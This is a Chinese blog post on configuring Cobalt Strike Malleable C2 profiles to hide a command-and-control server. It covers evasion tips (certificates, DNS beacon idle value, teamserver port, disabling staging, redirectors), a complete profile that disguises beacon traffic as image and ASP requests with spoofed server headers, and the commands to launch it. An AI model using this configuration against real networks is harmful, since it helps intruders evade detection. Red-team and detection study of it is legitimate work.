首页 » 内网渗透 » 正文

CobaltStrike之Malleable-C2-Profiles配置

如何保护自己的安全

1.不要在Cobalt Strike中使用默认的HTTPS证书。
1.1 如何使用自签名证书见  https://www.cobaltstrike.com/help-malleable-c2
1.2 有自己域名情况下可使用let's enceypt生成免费证书,如果你赖的话可直接使用在线生成 https://freessl.cn/,然后把证书转为JKS格式即可(在线转换 https://myssl.com/cert_convert.html)
2. 0.0.0.0是Cobalt Strike DNS Beacon特征。使用dns_idle Malleable C2选项将其更改为其他内容。
3.编辑teamserver脚本的最后一行,将端口从50050更改为其他内容。
4.如果Cobalt Strike正在承载信标有效载荷阶段,它将发送有效载荷阶段以响应有效请求。即使在Cobalt Strike中配置HTTP stager块,这仍然是正确的。HTTP Stager块重新配置Cobalt Strike中的分段指示器。它不会禁用与metasploit框架的兼容性。如果不希望Cobalt Strike承载有效载荷阶段,请将host_stage Malleable C2选项设置为假。此选项需要对操作方式进行一些更改。
5.使用Apache或Nginx web服务器作为CS攻击团队服务器的重定向器。将对团队服务器的80/443连接限制为这些重定向。正确配置的重定向器将平滑特定于Cobalt Strike web服务器的指示器(例如用于SSL连接的JA3S指纹)。对于非登台和非命令和控制uri,重定向也是提供合法内容的机会。

C2

Cobalt Strike新添加的扩展名为“External C2”,创造隐蔽的C2通道。
即支持:HTTP/HTTPS以及DNS协议

其它远控的协议多为硬编码,在计算机程序或文本编辑中,硬编码是指将可变变量用一个固定值来代替的方法。用这种方法编译后,如果以后需要更改此变量就非常困难了。
所以很容易被ids等检测出来;

官方的C2配置编写:
https://www.cobaltstrike.com/help-malleable-c2

推荐参考:
https://github.com/rsmudge/Malleable-C2-Profiles
file

自己测试:
me.profile文件内容
file


set sample_name "Etumbot";

set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/image/";

    client {

        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";

        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }
    }

    server {

        header "Content-Type" "img/jpg";
        header "Server" "nginx/1.10.3 (Ubuntu)";

        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/history/";

    client {

        header "Content-Type" "application/octet-stream";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";

        id {
            netbiosu;
            append ".asp";
            uri-append;
        }

        output {
            base64;
            print;
        }
    }

    server {

        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            print;
        }
    }
}

set sleeptime "5000";
sleeptime是设置上线的心跳间隔时间,这里我设置为5s

编辑完测试:
./c2lint me.profile
file
file
这样就代表你的c2配置没问题了

然后运行teamserver,命令如下
./teamserver 1.1.1.1 password ./me.profile
file
或者利用nohup
nohup ./teamserver 1.1.1.1 123456password ./me.profile &

自己可以去对比下配置过c2和没有配置过的wireshark抓包看到的请求包